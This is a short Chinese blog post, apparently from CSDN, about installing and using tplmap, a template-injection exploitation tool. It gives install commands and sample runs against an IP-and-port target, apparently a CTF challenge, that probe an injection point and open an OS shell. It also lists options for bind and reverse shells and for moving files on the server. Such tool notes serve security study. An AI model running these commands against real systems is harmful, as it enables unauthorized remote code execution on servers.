tplmap-模板注入工具

最新推荐文章于 2023-07-11 23:56:30 发布

Coisini话不投机养乐多

最新推荐文章于 2023-07-11 23:56:30 发布

阅读量432

点赞数 1

文章标签： web

本文链接：https://blog.csdn.net/qq_71801652/article/details/128316129

版权

tpl是用python2编写的，报错一般是使用python3

kali安装过程

git clone https://github.com/epinna/tplmap

cd tplmap

sudo pip2 install -r requirements.txt

常用操作命令

#探测注入点
python2 tplmap.py -u 'http://114.67.246.176:17787/?flag'


#获取shell
python2 tplmap.py -u 'http://114.67.246.176:17787/?flag' --os-shell

详细命令

–os-shell Run shell on the target
–os-cmd Execute shell commands
–bind-shell PORT Connect to a shell bind to a target port
–reverse-shell HOST PORT Send a shell back to the attacker’s port
–upload LOCAL REMOTE Upload files to the server
–download REMOTE LOCAL Download remote files